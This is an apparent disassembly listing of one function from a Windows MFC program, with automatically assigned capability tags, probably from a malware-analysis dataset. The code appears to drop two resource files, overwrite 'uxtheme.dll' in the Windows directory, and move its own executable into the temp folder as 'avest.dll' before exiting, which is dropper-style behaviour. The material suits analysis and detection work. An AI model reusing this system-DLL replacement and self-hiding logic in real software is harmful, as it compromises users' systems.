Function at 0x40114f
Capabilities:
Create directory
Delete file
Get common file path
Inspect load icon resource
Move file
Terminate process

Disassembly:
mov eax, 0x401f73
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x428
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x24], esi
push 0x66
call sub.MFC42.DLL_CDialog::CDialog
and dword [ebp - 4], 0
lea edi, [esi + 0x60]
mov ecx, edi
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
mov dword [esi], 0x4034c8
call sub.MFC42.DLL_CString::CString
lea eax, [ebp + 8]
mov ecx, esi
push eax
mov byte [ebp - 4], 2
call fcn.004017da
push eax
mov ecx, edi
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.00401b1a
call sub.MFC42.DLL_AfxGetModuleState
mov eax, 0x80
push eax
push 0xe
push eax
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, esi
mov dword [esi + 0x64], eax
call fcn.004016f1
test eax, eax
jne 0x4011ff
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401b1a
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
push str._Network
lea eax, [ebp + 8]
push edi
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.00401b1a
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x82
push ecx
mov eax, esp
mov dword [ebp + 8], esp
lea ecx, [ebp - 0x10]
push str._AVP360.bin
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, esi
call fcn.00401864
push 0x81
push ecx
mov ebx, str._AVPBIN.bin
mov eax, esp
mov dword [ebp + 8], esp
lea ecx, [ebp - 0x10]
push ebx
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, esi
call fcn.00401864
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
and byte [ebp - 0x330], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x32f]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x330]
push str._uxtheme.dll
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x10]
pop ecx
push ebx
push eax
lea eax, [ebp + 8]
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea ecx, [ebp - 0x330]
push 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp + 8]
call fcn.00401b1a
and byte [ebp - 0x22c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x22c]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404020
call dword [sym.imp.MSVCRT.dll_atoi]
dec eax
pop ecx
je 0x401459
dec eax
je 0x40140a
dec eax
jne 0x4014ae
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push 0x404028
lea ecx, [ebp + 8]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator
push 0x3b
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
mov edi, eax
test edi, edi
jg 0x40137d
push 0
push 0x4040f4
push 0x4040e4
jmp 0x4013da
lea eax, [ebp - 0x20]
push edi
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 7
call fcn.00401b1a
mov eax, dword [ebp + 8]
lea ecx, [ebp + 8]
mov eax, dword [eax - 8]
sub eax, edi
dec eax
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.00401b1a
push 0x10
push dword [ebp - 0x18]
push dword [ebp - 0x14]
mov ecx, esi
call sub.MFC42.DLL_CWnd::MessageBoxA
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.00401b1a
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 5
call fcn.00401b1a
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.00401b1a
jmp 0x4014ae
and byte [ebp - 0x128], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x128]
push 0x4040d4
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x22c]
push 0x10
push eax
lea eax, [ebp - 0x128]
jmp 0x4014a6
and byte [ebp - 0x128], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x128]
push 0x4040b8
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x22c]
push 0x10
push eax
lea eax, [ebp - 0x128]
push eax
mov ecx, esi
call sub.MFC42.DLL_CWnd::MessageBoxA
push 0x4040a0
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 1
pop ecx
jne 0x40150e
lea eax, [ebp - 0x434]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40150e
lea eax, [ebp - 0x128]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jbe 0x40150e
lea eax, [ebp - 0x128]
push str.avest.dll
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x128]
pop ecx
push 1
push eax
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push esi
mov esi, ecx
call fcn.004010d0
test byte [esp + 8], 1
je 0x401537
push esi
call sub.MFC42.DLL_operatordelete
pop ecx
mov eax, esi
pop esi
ret 4